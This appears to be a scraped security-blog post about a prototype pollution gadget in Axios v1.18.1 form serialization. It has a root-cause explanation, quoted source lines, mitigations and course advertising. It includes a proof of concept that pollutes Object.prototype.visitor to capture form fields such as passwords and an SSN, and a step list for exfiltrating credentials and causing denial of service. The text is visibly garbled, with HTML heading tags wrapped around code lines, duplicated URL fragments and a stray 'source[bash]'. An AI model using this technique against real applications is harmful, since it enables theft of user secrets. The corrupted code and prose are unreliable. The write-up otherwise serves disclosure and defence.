Listen to this Post
Axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic.
Six option properties are read from a plain JavaScript object that inherits from Object.prototype without hasOwnProperty guards.
The properties are visitor, maxDepth, dots, indexes, metaTokens, and Blob.
When Object.prototype has been polluted elsewhere in the process, these polluted values silently control Axios form serialization behavior.
The highest-impact gadget is visitor: a polluted function on Object.prototype.visitor.
That function is invoked for every key-value pair during multipart and URL-encoded form serialization.
It receives the value, key, path, and internal helper functions as arguments.
Root cause: formSerializer is read safely, but undefined flows through.
In lib/defaults/index.js, the default transformRequest function reads formSerializer from config using the own() helper.
The own() helper enforces hasOwnProp.
When the user does not explicitly configure formSerializer, this correctly returns undefined.
That undefined is then passed as the options parameter to toFormData().
Inside lib/helpers/toFormData.js, options, which is undefined, is merged with defaults via utils.toFlatObject().
toFlatObject() has an early-return for null or undefined sources.
Since options is undefined, the function returns destObj unchanged.
The returned plain object is { metaTokens: true, dots: false, indexes: false }.
This object’s prototype is Object.prototype.
The six option properties are read directly from the plain object.
None of these reads use utils.hasOwnProp().
Since the options object inherits from Object.prototype, any property set on Object.prototype by a compromised dependency is resolved through the prototype chain.
Axios has extensive prototype pollution defenses.
However, those defenses are all focused on the config object created by mergeConfig, which returns Object.create(null).
The toFormData function creates its own internal options object that sits outside that boundary.
The 6 reads on that internal object were never audited.
The impact depends on which property is polluted and which Axios serialization path the application uses.
Polluted dots, indexes, or metaTokens can change field names and cause the receiving service to parse different data than the caller intended.
Polluted maxDepth can cause nested form submissions to throw ERR_FORM_DATA_DEPTH_EXCEEDED.
Polluted visitor can execute as the serializer visitor if an attacker can place a function on Object.prototype.
That condition generally implies a stronger same-process code-execution or malicious-dependency primitive.
Affected functionality includes axios.toFormData() and transformRequest paths that serialize plain objects to multipart/form-data.
Affected functionality includes formSerializer option defaults when the relevant properties are absent as own properties.
Not affected: toFormData() when Object.prototype is not polluted.
Workarounds include avoiding serialization of attacker-controlled objects as form data in a process with known prototype pollution.
As a partial mitigation, callers can pass an own formSerializer object that sets explicit safe values for all relevant keys.
Those keys include visitor, maxDepth, dots, indexes, metaTokens, and Blob.
DailyCVE Form:
Platform: Axios
Version: v1.18.1
Vulnerability: Prototype pollution gadget
Severity: Not provided
date: Not provided
Prediction: Patch date unknown
What Undercode Say:
Analytics:
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install [email protected]
import axios from ‘axios’;
import http from ‘http’;
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
stolen.push({ key, value });
return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;
const server = http.createServer((req, res) => {
res.writeHead(200);
res.end(‘{}’);
});
server.listen(0, ‘127.0.0.1’, async () => {
const { port } = server.address();
try {
await axios.post(http://127.0.0.1:${port}/`, {http://127.0.0.1:${port}/`,
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">username: 'john',</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">password: 'SuperSecret123!',</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">profile: { ssn: '123-45-6789' }</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">}, { headers: { 'Content-Type': 'multipart/form-data' } });</h2>
<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">console.log('Stolen:', stolen);</h2>
await axios.post(
{ a: { b: { c: { d: ‘value’ } } } },
{ headers: { ‘Content-Type’: ‘multipart/form-data’ } }
);
} finally {
delete Object.prototype.visitor;
delete Object.prototype.maxDepth;
server.close();
}
});
node poc.mjs
const formSerializer = own(this, ‘formSerializer’);
return toFormData(data, _FormData && new _FormData(), formSerializer);
options = utils.toFlatObject(
options,
{ metaTokens: true, dots: false, indexes: false },
false,
function defined(option, source) {
return !utils.isUndefined(source[bash]);
}
);
if (sourceObj == null) return destObj;
const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== ‘undefined’ && Blob);
const maxDepth = options.maxDepth === undefined
? DEFAULT_FORM_DATA_MAX_DEPTH
: options.maxDepth;
visitor.call(formData, el, key, path, exposedHelpers)
Object.prototype.dots = true
how Exploit: (Educational Purposes!)
Step 1: Pollute Object.prototype.visitor with a function.
Step 2: Axios reads inherited visitor without hasOwnProp.
Step 3: Visitor receives value, key, path, and exposedHelpers.
Step 4: Delegate to helpers.defaultVisitor for transparent request success.
Step 5: Pollute Object.prototype.maxDepth to trigger ERR_FORM_DATA_DEPTH_EXCEEDED.
Step 6: Pollute dots, indexes, or metaTokens to alter field naming and serialization.
Step 7: Exfiltrate passwords, tokens, PII, API keys, and nested values.
Step 8: Cause denial of service for nested form submissions.
Step 9: Cause silent data corruption on the receiving service.
Step 10: Use only in local labs and authorized educational testing.
Protection: from this CVE
Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution.
Pass an own formSerializer object with explicit safe values.
Set visitor, maxDepth, dots, indexes, metaTokens, and Blob.
Use hasOwnProp guards for all option reads.
Keep transitive npm dependencies audited and patched.
Do not rely only on config object prototype pollution defenses.
Impact:
1. Data Exfiltration via visitor (Confidentiality: High)
2. Denial of Service via maxDepth (Availability: Low)
- Data Corruption via dots, indexes, metaTokens (Integrity: Low)
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

